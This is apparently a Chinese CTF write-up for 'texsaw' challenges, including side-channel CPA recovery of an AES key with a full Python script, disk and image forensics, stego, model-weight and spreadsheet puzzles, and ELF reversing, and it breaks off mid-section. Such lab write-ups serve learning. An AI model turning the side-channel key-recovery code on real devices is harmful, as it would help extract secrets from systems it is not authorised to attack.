MISC

A Different Side Channel

题目给了三份文件:

  • plaintexts.npy:500 组已知明文,每组 16 字节
  • traces.npy:500 条功耗曲线,每条 100 个采样点
  • encrypted_flag.bin:加密后的 flag

题意非常明确:
这是一个
已知明文 + 功耗轨迹 + 未知 AES 密钥的典型侧信道题,核心就是用 CPA(Correlation Power Analysis,相关功耗分析) 还原 AES-128 密钥。实际读出来的数据是:

  • plaintexts.npy.shape = (500, 16)
  • traces.npy.shape = (500, 100)
  • encrypted_flag.bin 长度 = 64 字节

也就是说:

  • 一共 500 次加密
  • 每次 AES 明文 16 字节
  • 每条轨迹只有 100 个采样点,说明泄漏点应该很集中
  • encrypted_flag.bin 看起来像是:16 字节 IV + 48 字节密文

AES 第一轮最适合做 CPA。

对于第 b 个字节,有已知明文字节 P[b],猜测密钥字节 k,则第一轮经过:

Sbox(P[b] ^ k)

在很多硬件实现里,泄漏和寄存器中“1 的个数”相关,所以常用的功耗模型是 汉明重量:

HW(Sbox(P[b] ^ k))

于是对每个字节:

  1. 枚举 k = 0..255
  2. 计算 500 次加密下的预测泄漏序列
    L_i = HW(Sbox(P_i[b] ^ k))
  3. 把 L 和真实功耗轨迹每个采样点做皮尔逊相关系数
  4. 取“绝对相关系数最大”的那个 key guess 作为该字节答案

这题不是那种边缘相关、需要猜半天的题。
我实际跑出来后,16 个字节的峰值都很高,而且泄漏点非常整齐:

字节位置

恢复值

峰值相关系数

峰值采样点

0

66

0.8061

20

1

dc

0.7295

21

2

e1

0.7035

22

3

5f

0.7074

23

4

b3

0.7046

24

5

3d

0.7074

25

6

ea

0.7045

26

7

cb

0.6851

27

8

5c

0.7390

28

9

03

0.7295

29

10

62

0.7315

30

11

f3

0.7275

31

12

0e

0.7151

32

13

95

0.7339

33

14

f5

0.7182

34

15

2e

0.7851

35

可以看到:

  • 所有字节的相关峰都很高,基本都在 0.68 ~ 0.80
  • 峰值点严格落在 20 ~ 35
  • 正好对应 16 个字节依次处理的时序

这说明答案几乎没有歧义。

最终得到 AES-128 密钥:

66 dc e1 5f b3 3d ea cb 5c 03 62 f3 0e 95 f5 2e

也就是:

key = bytes.fromhex("66dce15fb33deacb5c0362f30e95f52e")

encrypted_flag.bin 总长度 64 字节。

最自然的尝试是:

  • 前 16 字节作为 IV
  • 剩余 48 字节作为密文
  • 用 AES-CBC 解密

实际解出来正好得到可读文本,并带有 PKCS#7 padding:

texsaw{d1ffer3nti&!_p0w3r_@n4!y51s}

末尾填充字节是 0x0d 重复 13 次,符合 PKCS#7。

exp:

import math
import numpy as np
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

# AES S-box
SBOX = np.array([
    0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
    0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
    0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
    0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
    0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
    0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
    0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
    0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
    0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
    0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
    0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
    0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
    0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
    0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
    0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
    0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
], dtype=np.uint8)

# 汉明重量表
HW = np.array([bin(i).count("1") for i in range(256)], dtype=np.uint8)

def pkcs7_unpad(data: bytes) -> bytes:
    pad = data[-1]
    if pad < 1 or pad > 16:
        return data
    if data[-pad:] != bytes([pad]) * pad:
        return data
    return data[:-pad]

def recover_key(plaintexts: np.ndarray, traces: np.ndarray) -> bytes:
    ntraces, nsamples = traces.shape

    # 先把真实轨迹中心化,减少重复计算
    T = traces - traces.mean(axis=0)
    T_norm = np.sqrt((T * T).sum(axis=0))

    key = []

    for byte_idx in range(16):
        pt_col = plaintexts[:, byte_idx]

        best_k = 0
        best_score = -1.0

        for k in range(256):
            hyp = HW[SBOX[np.bitwise_xor(pt_col, k)]].astype(np.float64)
            H = hyp - hyp.mean()
            H_norm = math.sqrt(float((H * H).sum()))

            corr = (H[:, None] * T).sum(axis=0) / (H_norm * T_norm)
            score = np.max(np.abs(corr))

            if score > best_score:
                best_score = score
                best_k = k

        key.append(best_k)
        print(f"[+] byte {byte_idx:02d} = {best_k:02x}  corr={best_score:.6f}")

    return bytes(key)

def decrypt_flag(key: bytes, enc_path: str) -> bytes:
    data = open(enc_path, "rb").read()
    iv = data[:16]
    ct = data[16:]

    cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
    decryptor = cipher.decryptor()
    pt = decryptor.update(ct) + decryptor.finalize()
    return pkcs7_unpad(pt)

def main():
    plaintexts = np.load("plaintexts.npy")
    traces = np.load("traces.npy")

    key = recover_key(plaintexts, traces)
    print("[+] AES key =", key.hex())

    flag = decrypt_flag(key, "encrypted_flag.bin")
    print("[+] flag =", flag.decode())

if __name__ == "__main__":
    main()

Journaling

这题本质上是个 Windows 磁盘取证题,给的是一个压缩包,解出来后里面只有一个镜像文件 evidence.001。先别急着上很重的工具,题目分值不高,而且提示里已经说了“足够的信息可以判断 flag 片段顺序”,说明很多关键内容其实已经直接残留在磁盘元数据里了。

拿到文件后先确认了一下结构,evidence.zip 里就是一个 1GB 的磁盘镜像。这个镜像带 MBR,里面是一个 NTFS 分区。因为这题的重点不是做完整系统恢复,而是找“落盘证据”,所以最省事的办法就是直接围着 NTFS 元数据、文件名残留、USN/ADS 痕迹去找。

最先能打到眼睛的是一串非常明显的 UTF-16LE 文件名残留。直接对镜像做 Unicode strings 搜索 flagsegment,能看到下面这些内容:

flagsegment_u5njOurn@l
flagsegment_unc0v3rs.txt
flagsegment_4lter3d
flagsegment_f1les.txt
flagsegment_3fd19982505363d0

同时还能看到同一片区域里伴随出现的普通文件名:

monitor.log
notetoself.txt
tasks.txt
source

到这里其实已经能猜到题目的设计套路了:恶意程序或者操作者把 flag 切成了多个 flagsegment_* 片段,其中有的还保留成原始文件/目录名,有的被改名、删除,最后一个片段藏进了别的位置。

继续往下看,同一块元数据区域里还能看到这一组很关键的关联:

flagsegment_unc0v3rs.txt
notetoself.txt
monitor.log
gsegment_4lter3d
flagsegment_f1les.txt
tasks.txt

这里有两个点很重要。

第一个点是 flagsegment_unc0v3rs.txt 和 notetoself.txt 紧挨着出现,这说明它不是凭空多出来的无关字符串,而是同一文件记录附近留下的旧名字/新名字痕迹。也就是说,unc0v3rs 这一段不是猜出来的,而是一个真实出现过的文件名片段,后来大概率被重命名成了 notetoself.txt。

第二个点是 gsegment_4lter3d。它前面少了几个字符,不是完整的 flagsegment_4lter3d,这类现象在 MFT slack、被截断的 resident data 或者日志被覆盖后很常见。因为同一题里所有片段都遵循 flagsegment_* 这个固定模式,所以这里很自然能补全成:

flagsegment_4lter3d

而且它恰好出现在 monitor.log 附近,说明它不是随机噪声,而是和这个日志文件内容/残留直接相关。

再看 tasks.txt。这部分给了决定顺序的关键提示。在镜像里可以直接抠出它的文本内容:

To Do: Image infected device and analyze in Autopsy, identify IoCs, create timeline of events, find out where part 5 is...

这句话最关键的是最后半句:

find out where part 5 is...

它明确告诉你,除了前面能直接找到的几段之外,还有一个“part 5”藏在别处。

而 tasks.txt 旁边又能看到一个非常可疑的名字:

source

这在 NTFS 里很像一个命名数据流,也就是 ADS。紧跟着 source 的位置,确实就能看到最后那段:

flagsegment_3fd19982505363d0

所以最后一段并不是正文文件名,而是藏在 tasks.txt:source 这种 ADS 痕迹里。题目里专门提“part 5”,就是为了把这件事钉死:这个哈希样式的段必须放在最后。

到这里五段都能落地了:

u5njOurn@l
unc0v3rs
4lter3d
f1les
3fd19982505363d0

剩下的问题只有顺序。最后一段顺序已经由 tasks.txt 的 “part 5” 明确指定了,必须最后放。前面四段的顺序,题目也说“足够信息可以判断”,这里最自然、唯一成句的排列就是:

u5njOurn@l unc0v3rs 4lter3d f1les

这正好对应题名 Journaling 的语义,也和我们前面看到的取证痕迹一致:USN/日志/文件系统元数据把“被改动过的文件”这件事揭出来了。

所以最终 flag 是:

texsaw{u5njOurn@l_unc0v3rs_4lter3d_f1les_3fd19982505363d0}

exp:

unzip evidence.zip
strings -a -el evidence.001 | grep flagsegment
strings -a -el evidence.001 | egrep 'notetoself|monitor\.log|tasks\.txt|source

Jurrasic Parse

先看图本身,PNG 没有额外 chunk,也没有明显的附加文件。真正的东西藏在 RGB 三个通道的最低位 里。按像素顺序把每个像素的 R/G/B 最低位依次取出,8 位一组、按 MSB first 还原成字节,前面会直接解出一段 UTF-8 文本:

(∊42⌽(3⍴⍴⍵)⍴⌽⌊/⍤1⊢⍉⌊⍵×255)[46 53 88 243 57 43 156 6 46 53 5 10 243 1 77 39 77 243 54 166 57 46 243 54 23 313 51 136 53 6 87]<<END>>

这里的关键点是:这段 APL 不是拿常见的 H×W×3 图像数组去跑的,而是拿 channels-first 的 3×H×W 去跑。
因为在 Dyalog APL 里,单目
⍉ 会把数组轴顺序整体反过来;⍤ 是 rank operator,f⍤1⊢Y 这个写法等价于 (f⍤1)Y,表示把函数作用到 Y 的 rank-1 子数组上;X⌽Y 在不写轴参数时默认沿最后一维做旋转。

所以把这段东西翻成 Python,逻辑就是:

  1. 读图,提取 LSB,得到上面的 APL 代码。
  2. 再把原图转成 3×H×W。
  3. 模拟 APL 里的那串操作:乘 255 取整、转置、按 rank-1 取最小值、翻转、reshape、沿最后一维旋转 42、拉平。
  4. 最后用 APL 里给的那串索引取字符,索引是 1-based,减一后取值即可。

直接复现可以用下面这份脚本:

from PIL import Image
import numpy as np

path = "STEGOSAURUS.png"

img = np.array(Image.open(path), dtype=np.uint8)

# 先从 RGB 的 LSB 提取隐藏 APL
bits = (img & 1).reshape(-1)  # 按像素、按 RGB 顺序
payload = bytearray()
for i in range(0, len(bits) - 7, 8):
    byte = 0
    for b in bits[i:i+8]:
        byte = (byte << 1) | int(b)   # MSB first
    payload.append(byte)

payload = bytes(payload)
apl = payload.split(b"<<END>>", 1)[0].decode("utf-8")
print("[+] hidden APL:")
print(apl)

# 模拟 APL 对图像数组的处理
# 关键:APL 这里要用 channels-first
w = img.transpose(2, 0, 1).astype(np.float64) / 255.0   # (3, H, W)

# (∊42⌽(3⍴⍴⍵)⍴⌽⌊/⍤1⊢⍉⌊⍵×255)[...]
a = np.floor(w * 255)                 # ⌊⍵×255
b = np.transpose(a, (2, 1, 0))        # ⍉   -> reverse axes
c = b.min(axis=-1)                    # ⌊/⍤1
d = np.flip(c, axis=-1)               # ⌽
e = np.resize(d, w.shape)             # (3⍴⍴⍵)⍴...
f = np.roll(e, -42, axis=-1)          # 42⌽  正数左旋
g = f.reshape(-1)                     # ∊

idx = np.array([
    46, 53, 88, 243, 57, 43, 156, 6, 46, 53,
    5, 10, 243, 1, 77, 39, 77, 243, 54, 166,
    57, 46, 243, 54, 23, 313, 51, 136, 53, 6, 87
]) - 1  # APL 下标从 1 开始

flag = ''.join(chr(int(g[i])) for i in idx)
print("[+] flag =", flag)

跑出来就是:

texsaw{Steg0s@urus_Eats_APL1eS}

Excellent Neurons

题目给了一个 challenge.xlsx,表面上说是“Excel 里的神经网络”,让我们逆向网络权重找 flag。

工作簿里主要有两张表:

  • Challenge
  • Network

其中:

  • Challenge!D8:AG8 是输入区,每格填一个字符
  • Challenge!D9:AG9 会把字符归一化成 CODE(char)/127
  • Network 里放的是整个“神经网络”的权重、偏置和计算过程

题目本质不是让你真的跑训练模型,而是让你从公式和权重里把目标输入反推出来。

在 Challenge 里能看到:

=IF(D8="",0,CODE(D8)/127)

也就是说每一位输入不是直接字符,而是:

所以只要能把每个位置对应的目标归一化值找出来,再乘回 127,就能得到 ASCII。

Network 的第一层是:

  • 输入 30 维
  • 隐藏层 60 个神经元
  • 每个神经元只连一个输入位置
  • 权重只有 +1 或 -1

把 W1 和 b1 拿出来看,会发现每个位置都对应两个神经元:

  • 一个形如 x_i - t
  • 一个形如 t - x_i

再经过 ReLU:

所以第一层根本不是复杂神经网络,而是在检查:第 i 个字符的归一化值是否等于目标值 t

如果相等,两项都为 0。如果不相等,至少有一项大于 0。

把 W1 和 b1 对应起来后,可以得到每个位置的目标归一化值。

恢复出来是:

位置

目标值

ASCII

1

116/127

t

2

101/127

e

3

120/127

x

4

115/127

s

5

97/127

a

6

119/127

w

7

123/127

{

8

110/127

n

9

51/127

3

10

117/127

u

11

114/127

r

12

52/127

4

13

108/127

l

14

95/127

_

15

114/127

r

16

51/127

3

17

118/127

v

18

51/127

3

19

114/127

r

20

115/127

s

21

51/127

3

22

125/127

}

后面第 23~30 位全是 0,对应空白输入。因为题目输入区长度给了 30 格,但真正 flag 只用到前 22 位。

exp:

from openpyxl import load_workbook
from collections import defaultdict

wb = load_workbook("challenge.xlsx", data_only=False)
ws = wb["Network"]

# 读取第一层权重 W1(60 x 30)
# 行 11~70,对应 h1[0]~h1[59]
# 列 C~AF,对应输入位置 1~30
targets = defaultdict(list)

# 读取 b1,在第 75 行,C~BJ 共 60 个偏置
b1 = [ws.cell(row=75, column=3 + i).value for i in range(60)]

for neuron_idx in range(60):
    row = 11 + neuron_idx

    # 找这一行唯一的非零权重
    nz = None
    for pos in range(30):
        w = ws.cell(row=row, column=3 + pos).value
        if w not in (None, 0):
            nz = (pos + 1, w)
            break

    if nz is None:
        continue

    pos, w = nz
    b = b1[neuron_idx]

    # 形如 x - t => bias = -t
    # 形如 t - x => bias = +t
    if w == 1:
        t = -b
    elif w == -1:
        t = b
    else:
        raise ValueError(f"unexpected weight {w}")

    targets[pos].append(t)

# 每个位置有两个神经元,求平均得到目标值
chars = []
for pos in range(1, 31):
    if pos not in targets:
        break
    t = sum(targets[pos]) / len(targets[pos])
    ascii_val = round(t * 127)

    # 后面的 0 是空白输入,不属于 flag
    if ascii_val == 0:
        break

    chars.append(chr(ascii_val))

flag = "".join(chars)
print(flag)

所以直接拼出来:texsaw{n3ur4l_r3v3rs3}

Model Heist

这题给了一个 model.h5,.h5 是 Keras / TensorFlow 常见的模型保存格式,本质上就是一个 HDF5 文件。这种文件里通常会保存:

  • 模型结构
  • 每一层的权重
  • 优化器状态

既然题目叫 Model Heist,而且提示是“洋葱/分层”,那最自然的思路就是:

  1. 先看模型结构
  2. 找有没有名字异常的层
  3. 检查该层权重里是否直接藏了可读信息

用 h5py 打开模型文件后,可以看到模型里有一个很可疑的层名:

secret_layer

这基本已经是在明示了。

模型结构大致是:

Input(28x28)
 -> Flatten
 -> Dense(128, relu)
 -> Dense(26, linear)   # secret_layer
 -> Dense(64, relu)
 -> Dense(10, softmax)

其中最值得注意的是:

  • secret_layer 名字异常
  • 它的输出维度是 26
  • 而 flag texsaw{...} 的整体长度也很可能正好在这个量级

所以重点直接落到:

model_weights/secret_layer/sequential/secret_layer/kernel

把 secret_layer 的权重取出来后,发现它的 kernel 形状是:

(128, 26)

再看第一行,前几个值长这样:

[0.116, 0.101, 0.120, 0.115, 0.097, ...]

这个数值分布非常奇怪,因为:

  • 0.116 * 1000 = 116 -> 't'
  • 0.101 * 1000 = 101 -> 'e'
  • 0.120 * 1000 = 120 -> 'x'
  • 0.115 * 1000 = 115 -> 's'
  • 0.097 * 1000 = 97 -> 'a'

也就是说,第一行权重乘以 1000 后,正好就是 ASCII 码。直接全部还原即可得到 flag。

exp

import h5py

path = "model.h5"

with h5py.File(path, "r") as f:
    kernel = f["model_weights/secret_layer/sequential/secret_layer/kernel"][()]
    row0 = kernel[0]   # 取第一行

    flag = "".join(chr(int(round(x * 1000))) for x in row0)
    print(flag)

运行输出:

texsaw{w3ight5_t3ll_t4l3s}

Secret Word 🤐

这题的关键点在于:Word 文档 .docx 本质上不是单纯的“文档格式”,而是一个 ZIP 压缩包容器。所以遇到“flag hidden in suspicious Word Document”这种题,第一反应不该只是打开 Word 看正文,还要考虑把文档直接解包检查内部结构。题目附件就是这个 challenge.docx。

这里的 “suspicious” 很明显是在暗示文档本身有问题,不一定是正文里藏字、白字、页眉页脚、批注这种常规隐写,也可能是 OOXML 容器内被额外塞了文件。

而 .docx 的本质其实就是 ZIP,所以最直接的思路就是:

  1. 不用 Word 打开;
  2. 直接把 .docx 当压缩包解开;
  3. 查看里面有没有异常文件、隐藏文件、额外资源;
  4. 对可疑内容继续解码。

可以直接改后缀名,也可以用 7z / unzip 打开。

例如:

7z l challenge.docx

或者 Python:

import zipfile

with zipfile.ZipFile("challenge.docx", "r") as z:
    for name in z.namelist():
        print(name)

解包后可以看到很多正常的 Word 组件,比如:

  • word/document.xml
  • word/styles.xml
  • docProps/core.xml
  • word/media/...

但除此之外,还发现了一个很可疑的顶层文件:

secret.txt

这个文件不属于正常 Word 文档结构,因此基本可以判断这就是出题点。

打开 secret.txt 后,内容是一串 Base64:

dGV4c2F3e3N1cnByMXNlIV93MHJkX2YxbGVzX2FyM196MXBfNHJjaGl2ZXNfNjA3MDkwMTM3NzF9

直接解码:

import base64

s = "dGV4c2F3e3N1cnByMXNlIV93MHJkX2YxbGVzX2FyM196MXBfNHJjaGl2ZXNfNjA3MDkwMTM3NzF9"
print(base64.b64decode(s).decode())

输出为: texsaw{surpr1se!_w0rd_f1les_ar3_z1p_4rchives_60709013771}

You Snoze You Loze

思路很简单:这张图的 EXIF 能读出拍摄时间是 2026-01-24 22:14:12,GPS 落在 Daytona International Speedway。对应到 2026 Rolex 24 的官方赛程,这时候正好是夜间比赛的第 9 小时附近。官方赛会消息显示,22:14 左右比赛正处于黄旗/编队阶段;而 RACER 的第 9 小时战报明确写到:No. 7 曾短暂超过 No. 6,但随后在这次黄旗下的进站序列里,Penske 把两台车顺序换回来了,No. 6 重新在前,No. 7 在后。随后官方第 9 小时成绩单也仍显示 #6 第一、#7 第二

故:texsaw{6_7}

layers

先看最外层压缩包:

unzip layers.zip

能看到大概这些内容:

layers/
layers/.DS_Store
layers/layer1.zip
layers/layer2.zip
layers/layer3.zip

这里 .DS_Store 和提示里的 apple store 对应得很明显,所以优先从 layer1.zip 开始。

先解开第一层:

unzip layers/layer1.zip -d layer1

会得到一个:

layer1/layer1.dmg

提示已经明确在引导你去看苹果系文件,而 .dmg 本身就是 macOS 的磁盘镜像格式。这个 DMG 不是普通文本,直接 strings layer1.dmg 不一定马上出密码。比较方便的做法是用 binwalk、7-Zip、dmg 提取工具把里面的 APFS 分区数据拆出来。

例如可以这样做:

binwalk -e layer1/layer1.dmg

提取后能看到一个 APFS 相关的数据块。对那个分区数据跑 strings:

strings member3.bin | grep PASSWORD

可以直接看到:

L2_PASSWORD=unz1p_m3

所以第二层密码是:

unz1p_m3

layer2.zip 是带密码的,而且是 AES 加密,很多环境下 unzip 不一定能正常解,直接用 7-Zip 更稳:

7z x layers/layer2.zip -punz1p_m3 -olayer2

解出来是:

evidence.vhdx

这题的数据量不大,而且线索其实很“送分”。
对
evidence.vhdx 直接跑 strings 就能看见可疑内容:

strings layer2/evidence.vhdx | grep -E 'L3_|TDNf|PASSWORD'

能看到一段 base64:

TDNfUEFTU1dPUkQ9bCFudXhfSTJfbjN4Nw==

把它解码:

echo 'TDNfUEFTU1dPUkQ9bCFudXhfSTJfbjN4Nw==' | base64 -d

得到:

L3_PASSWORD=l!nux_I2_n3x7

所以第三层密码是:

l!nux_I2_n3x7

解第三层:

unzip -P 'l!nux_I2_n3x7' layers/layer3.zip -d layer3

得到:

ext4.img

直接对镜像跑字符串:

strings layer3/ext4.img | grep flag

会看到:

flag.txt

这说明镜像里确实出现过 flag.txt,但正常挂载后表面上看不到,多半是被删了,或者被藏进了别的结构里。这类取证题经常会把真正内容塞进 journal、未分配空间或者残留压缩块里。继续扫 gzip 头即可。

下面这个 Python 小脚本能直接在镜像里找 gzip 数据并尝试解压:

import io
import gzip

data = open("layer3/ext4.img", "rb").read()

for i in range(len(data) - 3):
    if data[i:i+3] == b"\x1f\x8b\x08":
        try:
            out = gzip.GzipFile(fileobj=io.BytesIO(data[i:])).read()
            if b"texsaw{" in out:
                print(out.decode())
        except:
            pass

运行后直接输出:texsaw{m@try02HkA_d0!12}

Reverse

drawing

这题给的附件是一个 drawing.nro。

.nro 是 Nintendo Switch homebrew 程序常见的可执行格式。这类题很容易有两种藏法:

  1. 把 flag 逻辑写在程序里,运行后校验
  2. 直接把资源文件(图片、字体、数据)塞进可执行里

这题更像第二种,因为题目名就叫 drawing,很像“程序里画了一张图”或者“资源里藏了一张图”。

二进制题里,一个很常见的思路就是直接找文件头。

JPEG 的文件头和文件尾很固定:

  • 开头:FF D8 FF
  • 结尾:FF D9

所以可以直接在 drawing.nro 里搜这两个标记,看看是不是嵌了 JPEG。

这边扫了一下,发现文件里只有一处明显的 JPEG 起始位置,而且就在文件尾部附近:

  • JPEG 起始偏移:5931064
  • JPEG 结束偏移:5937349

也就是说,这个 .nro 后面确实拼接了一张完整的 JPG。

因为 drawing.nro 里本身就嵌着一张 JPEG,直接按 JPEG 边界把它 carve 出来就行。

最简单的做法就是按偏移切片。

from pathlib import Path

data = Path("drawing.nro").read_bytes()

start = data.find(b"\xff\xd8\xff")   # JPEG SOI
end = data.find(b"\xff\xd9", start)  # JPEG EOI

if start == -1 or end == -1:
    print("JPEG not found")
else:
    end += 2
    jpg = data[start:end]
    Path("extracted.jpg").write_bytes(jpg)
    print(f"JPEG extracted: start={start}, end={end}, size={end-start}")

运行后会得到:

JPEG extracted: start=5931064, end=5937349, size=6285

再用 file 看一下导出的文件,可以确认它确实是一张正常图片:

file extracted.jpg

输出类似:

JPEG image data, JFIF standard 1.01, 256x256

这就说明我们不是“误切”了一段随机数据,而是真的从 .nro 里拿出了一张有效的 JPG。

texsaw{switch96959d49370}

Ragebait

题目给了一个 64 位 ELF 可执行文件,先看文件类型:

file ragebait

可以看到它是一个 stripped 的 ELF64,没有符号表,需要直接逆向。

再简单跑一下,发现程序对参数长度有限制。看主函数附近的汇编即可确认这一点:

443016: cmp DWORD PTR [rbp-0x14],0x1
44301a: jle 443035
...
44302a: call strlen
44302f: cmp rax,0x20
443033: je  44303c

意思很直接:

  • 必须传入参数
  • 参数长度必须是 0x20 = 32

也就是说输入必须正好 32 字符。

主函数后半段会取输入前 9 个字符做哈希:

443047: mov esi,0x9
44304f: call 401216

跟进去 0x401216,会发现它实际调用的是 0x40121a,这是一个标准的 FNV-1a 32-bit:

40122e: c7 45 f4 c5 9d 1c 81    ; offset basis = 0x811c9dc5
401243: movzx eax,BYTE PTR [rax]
401249: xor DWORD PTR [rbp-0xc],eax
40124f: imul eax,eax,0x1000193  ; prime = 0x1000193

所以程序逻辑是:

  1. 取输入前 9 字符
  2. 算 FNV-1a
  3. 再对 1009 (0x3f1) 取模
  4. 用结果进一个巨大跳表

主函数里这段就是取模和跳表分发:

443072: imul edx,edx,0x3f1
443078: sub eax,edx
...
443088: lea rax,[rip+0xaff1]    # 44e080
44308f: mov rdx,QWORD PTR [rdx+rax]
4430a1: call rdx

也就是说:

idx = fnv1a(input, 9) % 1009;
func = table[idx];
func(input);

看 .rodata 能发现一个非常显眼的假东西:

objdump -s -j .rodata ragebait

可以看到:

444000: texsaw{nope_not_here}
444020: [SUCCESS] Flag: %s
44403f: /bin/sh

也就是说程序里故意放了:

  • 假 flag:texsaw{nope_not_here}假标志: texsaw{nope_not_here}
  • 很多 [SUCCESS] Flag: %s
  • 甚至还有 /bin/sh

这题最烦人的点就在这:
**很多分支看起来像成功了,其实全是 bait。**实际扫下来,这些跳表分支里有几类典型陷阱:

  1. 直接打印假 flag
  2. 打印你输入的内容,伪装成成功
  3. 直接 exit
  4. 把你的输入当 shell 命令喂给 /bin/sh -c
  5. 只有极少数分支才是真校验

所以如果只看表面输出,非常容易被坑。

跳表里真正有价值的函数是:

0x42fe9c

这个函数不是输出假 flag,而是对输入做完整校验。

它的核心逻辑如下:

42febb: mov QWORD PTR [rbp-0x30],0x0
42fec3: mov QWORD PTR [rbp-0x28],0x0
42fecb: mov QWORD PTR [rbp-0x20],0x0
42fed3: mov QWORD PTR [rbp-0x18],0x0

先初始化 4 个 64 位变量为 0。

然后循环处理整个输入:

42ff0f: and eax,0x3              ; i % 4
42ff12: mov rax,QWORD PTR [rbp+rax*8-0x30]
...
42ff1f: shl rax,0x7              ; h << 7
42ff2b: add rax,rax              ; h * 2
42ff3a: add rax,rdx              ; h * 130
42ff49: add rax,rdx              ; h * 131
42ff5f: add rdx,rcx              ; + current_char

整理一下就是:

h[i % 4] = h[i % 4] * 131 + input[i];

最后拿这 4 个 hash 和 4 个常量比较:

42ff7e: movabs rax,0x0112996d9ae479fd
42ff88: cmp rdx,rax

42ff91: movabs rax,0x00efb70b2a601818
42ff9b: cmp rdx,rax

42ffa4: movabs rax,0x011c799cc5063ac2
42ffae: cmp rdx,rax

42ffb7: movabs rax,0x01100d35eadc1177
42ffc1: cmp rdx,rax

也就是目标值分别是:

c0 = 0x0112996d9ae479fd
c1 = 0x00efb70b2a601818
c2 = 0x011c799cc5063ac2
c3 = 0x01100d35eadc1177

因为总长度是 32,而程序按 i % 4 分组,所以每组正好 8 个字符:

  • 第 0 组:位置 0,4,8,...,28
  • 第 1 组:位置 1,5,9,...,29
  • 第 2 组:位置 2,6,10,...,30
  • 第 3 组:位置 3,7,11,...,31

哈希公式是:

h = (((((((0 * 131 + s0) * 131 + s1) * 131 + s2) ...) * 131) + s7)

这其实就是把 8 个字符当成一个 131 进制数。 因为 flag 字符都是普通 ASCII,数值都 < 131,所以可以直接反向按 131 取余恢复字符。

exp:

consts = [
    0x0112996d9ae479fd,
    0x00efb70b2a601818,
    0x011c799cc5063ac2,
    0x01100d35eadc1177,
]

groups = []
for x in consts:
    s = []
    for _ in range(8):
        x, r = divmod(x, 131)
        s.append(chr(r))
    groups.append(''.join(reversed(s)))

print("groups =", groups)

flag = ''.join(groups[j][i] for i in range(8) for j in range(4))
print(flag)

运行结果:texsaw{VVhYd_U_M4k3_mE_s0_4n6ry}

Switcheroo Read

题目给了一个 ELF 可执行文件 switcheroo,运行后会要求输入一段字符串,程序内部做若干轮“位置交换 + 字符加减”的混淆,最后判断是否通过。

主函数逻辑很短,大致就是:

  1. 输出提示信息
  2. 读入最多 27 个字符
  3. 检查长度是否恰好为 27
  4. 调用真正的校验函数

伪代码可以写成这样:

int main() {
    char buf[0x20];
    printf("Please make a compatible password: ");
    scanf("%27[^\n]", buf);

    if (strlen(buf) == 27) {
        check(buf);
    }
    return 0;
}

所以一开始就能知道:

  • 输入长度必须是 27
  • 这里校验的是整串输入
  • 也就是说,程序很可能是让你直接输入完整 flag,而不是只输花括号里的内容

第一个关键函数会把字符串整体“右移” n 位。

它的核心行为是:

tmp = s
for i in range(27):
    s[(i+n)%27] = tmp[i]

也就是:

  • 原来的第 i 个字符
  • 会被放到新的 (i+n) % 27 位置

这就是一个长度 27 的循环旋转。

第二个关键函数按 n 的奇偶性,执行不同操作。

  1. 先对若干位置的字符做 +n
  2. 再整体旋转 n

对应逻辑:

for i in range(n):
    s[(i*n)%27] += n
rotate(s, n)

当 n 为奇数时

  1. 先整体旋转 n
  2. 再对若干位置做 -n

对应逻辑:

rotate(s, n)
for i in range(n):
    s[(i+n)%27] -= n

程序会按下面顺序连续调用变换:

5 -> 6 -> 检查
13 -> 检查
3 -> 24 -> 检查
10 -> 检查
7 -> 检查
最后进入一个更复杂的终检函数

也就是:

switcheroo(s, 5);
switcheroo(s, 6);
check1();

switcheroo(s, 13);
check2();

switcheroo(s, 3);
switcheroo(s, 24);
check3();

switcheroo(s, 10);
check4();

switcheroo(s, 7);
check5();

final_check();

把每一轮变换“映射回原始输入位置”之后,可以得到一批很有价值的约束。

我这里直接给出逆回去后的结果。

第一组约束在执行完 5, 6 后有:

s[11] == 'o'

逆回原串后得到:

原始第 0 位 = 't'

第二组约束执行完 13 后:

s[14] == 'R'

逆回原串:

原始第 17 位 = '_'

第三组约束执行完 3, 24 后:

s[0]  == 0x9b
s[26] in ['s','t','u','v','w'] 的某个偏移范围

逆回去能确定:

原始第 3 位 = 's'
原始第 2 位 ∈ { 'x', 'y', 'z', '{', '|' }

第四组约束执行完 10 后:

